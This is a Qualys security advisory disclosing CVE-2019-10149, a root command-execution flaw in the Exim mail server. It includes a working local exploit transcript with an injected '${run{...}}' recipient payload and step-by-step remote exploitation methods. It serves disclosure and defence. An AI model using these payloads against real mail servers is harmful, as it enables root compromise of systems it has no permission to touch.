exploit the possibilities

Exim 4.9.1 Remote Command Execution

Exim 4.9.1 Remote Command Execution
Posted Jun 6, 2019
Authored by Qualys Security Advisory

Qualys discovered a remote command execution vulnerability in Exim versions 4.87 to 4.91.

tags | advisory, remote
advisories | CVE-2019-10149
MD5 | bad52ccc6a1c8c1cead9b91ad808d490

Exim 4.9.1 Remote Command Execution

Change Mirror Download

Qualys Security Advisory

The Return of the WIZard: RCE in Exim (CVE-2019-10149)


Local exploitation
Remote exploitation
- Non-default configurations
- Default configuration

Boromir: "What is this new devilry?"
Gandalf: "A Balrog. A demon of the Ancient World."
-- The Lord of the Rings: The Fellowship of the Ring


During a code review of the latest changes in the Exim mail server
(https://en.wikipedia.org/wiki/Exim), we discovered an RCE vulnerability
in versions 4.87 to 4.91 (inclusive). In this particular case, RCE means
Remote *Command* Execution, not Remote Code Execution: an attacker can
execute arbitrary commands with execv(), as root; no memory corruption
or ROP (Return-Oriented Programming) is involved.

This vulnerability is exploitable instantly by a local attacker (and by
a remote attacker in certain non-default configurations). To remotely
exploit this vulnerability in the default configuration, an attacker
must keep a connection to the vulnerable server open for 7 days (by
transmitting one byte every few minutes). However, because of the
extreme complexity of Exim's code, we cannot guarantee that this
exploitation method is unique; faster methods may exist.

Exim is vulnerable by default since version 4.87 (released on April 6,
2016), when #ifdef EXPERIMENTAL_EVENT became #ifndef DISABLE_EVENT; and
older versions may also be vulnerable if EXPERIMENTAL_EVENT was enabled
manually. Surprisingly, this vulnerability was fixed in version 4.92
(released on February 10, 2019):


but was not identified as a security vulnerability, and most operating
systems are therefore affected. For example, we exploit an up-to-date
Debian distribution (9.9) in this advisory.

Local exploitation

The vulnerable code is located in deliver_message():

6122 #ifndef DISABLE_EVENT
6123 if (process_recipients != RECIP_ACCEPT)
6124 {
6125 uschar * save_local = deliver_localpart;
6126 const uschar * save_domain = deliver_domain;
6128 deliver_localpart = expand_string(
6129 string_sprintf("${local_part:%s}", new->address));
6130 deliver_domain = expand_string(
6131 string_sprintf("${domain:%s}", new->address));
6133 (void) event_raise(event_action,
6134 US"msg:fail:internal", new->message);
6136 deliver_localpart = save_local;
6137 deliver_domain = save_domain;
6138 }
6139 #endif

Because expand_string() recognizes the "${run{<command> <args>}}"
expansion item, and because new->address is the recipient of the mail
that is being delivered, a local attacker can simply send a mail to
"${run{...}}@localhost" (where "localhost" is one of Exim's
local_domains) and execute arbitrary commands, as root
(deliver_drop_privilege is false, by default):

john@debian:~$ cat /tmp/id
cat: /tmp/id: No such file or directory

john@debian:~$ nc 25
220 debian ESMTP Exim 4.89 Thu, 23 May 2019 09:10:41 -0400
HELO localhost
250 debian Hello localhost []
250 OK
RCPT TO:<${run{\x2Fbin\x2Fsh\t-c\t\x22id\x3E\x3E\x2Ftmp\x2Fid\x22}}@localhost>
250 Accepted
354 Enter message, ending with "." on a line by itself
Received: 1
Received: 2
Received: 3
Received: 4
Received: 5
Received: 6
Received: 7
Received: 8
Received: 9
Received: 10
Received: 11
Received: 12
Received: 13
Received: 14
Received: 15
Received: 16
Received: 17
Received: 18
Received: 19
Received: 20
Received: 21
Received: 22
Received: 23
Received: 24
Received: 25
Received: 26
Received: 27
Received: 28
Received: 29
Received: 30
Received: 31

250 OK id=1hTnYa-0000zp-8b
221 debian closing connection

john@debian:~$ cat /tmp/id
cat: /tmp/id: Permission denied

root@debian:~# cat /tmp/id
uid=0(root) gid=111(Debian-exim) groups=111(Debian-exim)
uid=0(root) gid=111(Debian-exim) groups=111(Debian-exim)

In this example:

- we send more than received_headers_max (30, by default) "Received:"
headers to the mail server, to set process_recipients to
RECIP_FAIL_LOOP and hence execute the vulnerable code;

- we escape invalid characters in the recipient's address with
backslashes, which are conveniently interpreted by expand_string() (in
expand_string_internal() and transport_set_up_command()).

Remote exploitation

Our local-exploitation method does not work remotely, because the
"verify = recipient" ACL (Access-Control List) in Exim's default
configuration requires the local part of the recipient's address (the
part that precedes the @ sign) to be the name of a local user:

john@debian:~$ nc 25
220 debian ESMTP Exim 4.89 Thu, 23 May 2019 10:06:37 -0400
HELO localhost
250 debian Hello localhost []
250 OK
RCPT TO:<${run{\x2Fbin\x2Fsh\t-c\t\x22id\x3E\x3E\x2Ftmp\x2Fid\x22}}@localhost>
550 Unrouteable address

Non-default configurations

We eventually devised an elaborate method for exploiting Exim remotely
in its default configuration, but we first identified various
non-default configurations that are easy to exploit remotely:

- If the "verify = recipient" ACL was removed manually by an
administrator (maybe to prevent username enumeration via RCPT TO),
then our local-exploitation method also works remotely.

- If Exim was configured to recognize tags in the local part of the
recipient's address (via "local_part_suffix = +* : -*" for example),
then a remote attacker can simply reuse our local-exploitation method
with an RCPT TO "balrog+${run{...}}@localhost" (where "balrog" is the
name of a local user).

- If Exim was configured to relay mail to a remote domain, as a
secondary MX (Mail eXchange), then a remote attacker can simply reuse
our local-exploitation method with an RCPT TO "${run{...}}@khazad.dum"
(where "khazad.dum" is one of Exim's relay_to_domains). Indeed, the
"verify = recipient" ACL can only check the domain part of a remote
address (the part that follows the @ sign), not the local part.

Default configuration

First, we solve the "verify = recipient" ACL problem with a "bounce"
message: if we send a mail that cannot be delivered, Exim automatically
sends a delivery-failure message (a "bounce") to the original sender. In
other words, the sender of our original mail (our MAIL FROM) becomes the
recipient of the bounce (its RCPT TO) and can therefore execute commands
with "${run{...}}". Indeed, the "verify = sender" ACL in Exim's default
configuration can only check the domain part of our original sender
address, not its local part (because it is a remote address).

Next, the bounce must reach the vulnerable code and pass the
process_recipients != RECIP_ACCEPT test, but we cannot reuse our
received_headers_max trick because we do not control the bounce's
headers. Our solution to this second problem is not optimal: if the
bounce itself cannot be delivered after 7 days (the default
timeout_frozen_after), then Exim sets process_recipients to
RECIP_FAIL_TIMEOUT and executes the vulnerable code.

Last, we must solve a seemingly intractable problem: after 2 days (the
default ignore_bounce_errors_after) the bounce is discarded unless it is
deferred (by a temporary delivery failure), and after 4 days the default
retry rule ("F,2h,15m; G,16h,1h,1.5; F,4d,6h") turns deferred addresses
into failed addresses, and hence discards the bounce before the 7 days
of timeout_frozen_after. Below is our solution to this third problem,
and to the remote-exploitation problem in general (but simpler and
faster solutions may exist):

1/ We connect to the vulnerable Exim server and send a mail that cannot
be delivered (because we send more than received_headers_max "Received:"
headers). The recipient address (RCPT TO) of our mail is "postmaster",
and its sender address (MAIL FROM) is "${run{...}}@khazad.dum" (where
"khazad.dum" is a domain that is under our control).

2/ Because our mail cannot be delivered, Exim connects to khazad.dum's
MX (where we listen for and accept this connection) and starts sending a
bounce message to "${run{...}}@khazad.dum".

3/ We keep this connection open for 7 days (the default
timeout_frozen_after), by sending a byte to Exim every 4 minutes. This
works because Exim reads the response to its SMTP commands (Simple Mail
Transfer Protocol) into a 4096-byte buffer (DELIVER_BUFFER_SIZE) with a
5-minute timeout (the default command_timeout) that is reset every time
a byte is read.

4/ After 7 days, we complete our lengthy SMTP response with a permanent
delivery failure (for example, "550 Unrouteable address") which freezes
the bounce in post_process_one(). This function should actually discard
the bounce instead of freezing it (which would prevent us from reaching
the vulnerable code) because it is older than 2 days (the default

1613 /* If this is a delivery error, or a message for which no replies are
1614 wanted, and the message's age is greater than ignore_bounce_errors_after,
1615 force the af_ignore_error flag. This will cause the address to be discarded
1616 later (with a log entry). */
1618 if (!*sender_address && message_age >= ignore_bounce_errors_after)
1619 setflag(addr, af_ignore_error);

However, in this particular case, message_age is not the bounce's real
age (over 7 days) but its age when it was first loaded from Exim's spool
(when it was just a few seconds or minutes old).

5/ Finally, Exim's next queue run (every 30 minutes by default, on
Debian) loads the frozen bounce from the spool, sets process_recipients
to RECIP_FAIL_TIMEOUT (this time, message_age is the bounce's real age,
over 7 days), and executes the vulnerable code and our commands (our
original sender address, "${run{...}}@khazad.dum", is the bounce's
recipient address, which is interpreted by expand_string()).

Note: to quickly test this remote-exploitation method, the days in
Exim's default timeout_frozen_after and ignore_bounce_errors_after can
be replaced by hours, and the default retry rule by "F,4h,6m".


We thank Exim's developers, Solar Designer, and the members of

"The Return of the WIZard" is a reference to Sendmail's ancient WIZ and
DEBUG vulnerabilities:




2019-05-27: Advisory sent to security@exim.

2019-05-28: Advisory sent to distros@openwall.


This message may contain confidential and privileged information. If it has been sent to you in error, please reply to advise the sender of the error and then immediately delete it. If you are not the intended recipient, do not read, copy, disclose or otherwise use this message. The sender disclaims any liability for such unauthorized use. NOTE that all incoming emails sent to Qualys email accounts will be archived and may be scanned by us and/or by external service providers to detect and prevent threats to our systems, investigate illegal or inappropriate behavior, and/or eliminate unsolicited promotional emails (“spam”). If you have any concerns about this process, please contact us.


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